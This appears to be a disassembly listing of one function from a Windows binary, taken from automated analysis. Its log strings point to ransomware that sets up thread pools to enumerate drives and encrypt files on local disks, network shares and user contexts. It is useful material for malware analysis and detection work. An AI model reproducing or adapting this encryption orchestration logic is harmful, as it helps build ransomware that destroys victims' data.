Function at 0x46dff0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
mov eax, dword [0x5f5ea4]
xor eax, esp
mov dword [esp + 0x10], eax
cmp byte [0x5fc985], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
je 0x46e0ec
push str.___Local_threads...
call fcn.0046adc0
mov ebx, dword [0x5fc96c]
add esp, 4
mov dword [0x5fe9dc], 0xffffffff
mov dword [0x5fe9d4], 0
push 0
push 0
push 0
push 0
call esi
mov dword [0x5fe9d8], eax
test eax, eax
je 0x46e1c8
lea eax, [ebx*4]
push eax
call fcn.0055a17a
mov esi, eax
add esp, 4
test esi, esi
je 0x46e087
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054e940
add esp, 0xc
mov dword [0x5fe9a8], esi
test esi, esi
je 0x46e1c8
push 0x5fe9b4
mov dword [0x5fe9b0], 0
mov dword [0x5fe9ac], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5fe9ac], esi
jle 0x46e0e6
nop word [eax + eax]
push 0
push 0
push 0x5fe9a8
push 0x47f1d0
push 0
push 0
call edi
mov ecx, dword [0x5fe9a8]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5fe9ac]
jl 0x46e0c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp byte [0x5fc980], 0
jne 0x46e102
cmp byte [0x5fc989], 0
je 0x46e2cc
push str.___Network_shares_threads...
call fcn.0046adc0
mov ebx, dword [0x5fc974]
add esp, 4
mov dword [0x5fea4c], 0xffffffff
mov dword [0x5fea44], 0
push 0
push 0
push 0
push 0
call esi
mov dword [0x5fea48], eax
test eax, eax
je 0x46e1ee
lea eax, [ebx*4]
push eax
call fcn.0055a17a
mov esi, eax
add esp, 4
test esi, esi
je 0x46e169
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054e940
add esp, 0xc
mov dword [0x5fea18], esi
test esi, esi
je 0x46e1ee
push 0x5fea24
mov dword [0x5fea20], 0
mov dword [0x5fea1c], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5fea1c], esi
jle 0x46e202
nop dword [eax + eax]
push 0
push 0
push 0x5fea18
push 0x47f1d0
push 0
push 0
call edi
mov ecx, dword [0x5fea18]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5fea1c]
jl 0x46e1a0
jmp 0x46e202
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Cant_create_local_threadpool__Code__lu
call fcn.0046adc0
add esp, 8
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.005368a5
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Cant_create_network_threadpool__Code__lu
call fcn.0046adc0
add esp, 8
mov eax, dword [0x5fc954]
mov ebx, dword [0x5fc968]
push 0
push 0
push 0
push 0
mov dword [0x5fea14], eax
mov dword [0x5fea0c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x5fea10], eax
test eax, eax
je 0x46e2b8
lea eax, [ebx*4]
push eax
call fcn.0055a17a
mov esi, eax
add esp, 4
test esi, esi
je 0x46e260
lea eax, [ebx*4]
push eax
push 0
push esi
call fcn.0054e940
add esp, 0xc
mov dword [0x5fe9e0], esi
test esi, esi
je 0x46e2b8
push 0x5fe9ec
mov dword [0x5fe9e8], 0
mov dword [0x5fe9e4], ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor esi, esi
cmp dword [0x5fe9e4], esi
jle 0x46e2cc
nop
push 0
push 0
push 0x5fe9e0
push 0x47f1d0
push 0
push 0
call edi
mov ecx, dword [0x5fe9e0]
mov dword [ecx + esi*4], eax
inc esi
cmp esi, dword [0x5fe9e4]
jl 0x46e290
jmp 0x46e2cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Cant_create_user_threadpool__Code__lu
call fcn.0046adc0
add esp, 8
cmp byte [0x5fc980], 0
mov byte [0x5fc971], 1
jne 0x46e2e5
cmp byte [0x5fc989], 0
je 0x46e31a
cmp byte [0x5fc988], 0
push 0
push 0
push 0
jne 0x46e30a
push 0x470400
push 0
push 0
call edi
push 0
push 0
mov dword [0x5feaf0], eax
push 0
push 0x4701c0
push 0
push 0
call edi
mov dword [0x5feaf4], eax
cmp byte [0x5fc985], 0
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
je 0x46e3ae
cmp byte [0x5fc98b], 0
je 0x46e34e
cmp byte [0x5fc966], 0
jne 0x46e34e
call fcn.0047c950
neg al
sbb al, al
and byte [0x5fc98b], al
push str.___Enumeration_drives...
call fcn.0046adc0
add esp, 4
push 0
push 0
push 0
push 0x47d860
push 0
push 0
call edi
cmp byte [0x5fc985], 0
mov edi, eax
je 0x46e3ae
test edi, edi
je 0x46e38d
push str.___Waiting_for_local_search...
call fcn.0046adc0
add esp, 4
push 0xffffffffffffffff
push edi
call esi
push str.___Added_STOP_MARKER_to_local_thread.
call fcn.0046adc0
add esp, 4
xor ecx, ecx
call fcn.0047f350
push str.___Local_Scan_completed.
call fcn.0046adc0
add esp, 4
cmp byte [0x5fc980], 0
jne 0x46e3c4
cmp byte [0x5fc989], 0
je 0x46e585
cmp dword [0x5feaf0], 0
je 0x46e3e4
push str.___Waiting_for_network_search...
call fcn.0046adc0
add esp, 4
push 0xffffffffffffffff
push dword [0x5feaf0]
call esi
cmp dword [0x5feaf4], 0
je 0x46e404
push str.___Waiting_for_network_encrypt...
call fcn.0046adc0
add esp, 4
push 0xffffffffffffffff
push dword [0x5feaf4]
call esi
push str.___Added_STOP_MARKER_to_network_thread.
call fcn.0046adc0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 4
cmp dword [0x5fc98c], 0
je 0x46e463
push str.Waiting_network_encrypt...
mov dword [esp + 0x10], 0
call ebx
mov dword [esp + 0x14], str.Waiting_network_encrypt...
lea eax, [eax*2 + 2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push eax
push 0xfa
push 2
lea eax, [esp + 0x18]
push eax
push 5
push 0x4a
push dword [0x5fc98c]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov eax, dword [0x5fea1c]
xor esi, esi
test eax, eax
jle 0x46e4ab
nop
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 3
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x5e89d0
mov word [ecx], ax
call fcn.0044b730
xor edx, edx
lea ecx, [edx + 1]
call fcn.0047f3f0
mov eax, dword [0x5fea1c]
inc esi
add esp, 0x18
cmp esi, eax
jl 0x46e470
mov edi, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0xffffffffffffffff
push 1
push dword [0x5fea18]
push eax
call edi
push str.___Network_processing_completed.
call fcn.0046adc0
add esp, 4
push str.___Added_STOP_MARKER_to_user_context_thread.
call fcn.0046adc0
add esp, 4
cmp dword [0x5fc98c], 0
je 0x46e524
push str.Waiting_user_context_encrypt...
mov dword [esp + 0x10], 0
call ebx
mov dword [esp + 0x14], str.Waiting_user_context_encrypt...
lea eax, [eax*2 + 2]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push eax
push 0xfa
push 2
lea eax, [esp + 0x18]
push eax
push 5
push 0x4a
push dword [0x5fc98c]
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
mov eax, dword [0x5fe9e4]
xor esi, esi
test eax, eax
jle 0x46e56b
nop
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 3
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x5e89d0
mov word [ecx], ax
call fcn.0044b730
xor edx, edx
lea ecx, [edx + 2]
call fcn.0047f3f0
mov eax, dword [0x5fe9e4]
inc esi
add esp, 0x18
cmp esi, eax
jl 0x46e530
push 0xffffffffffffffff
push 1
push dword [0x5fe9e0]
push eax
call edi
push str.___User_context_processing_completed.
call fcn.0046adc0
add esp, 4
cmp byte [0x5fc95d], 0
je 0x46e1dc
mov ecx, 1
call fcn.0046e5a0
int3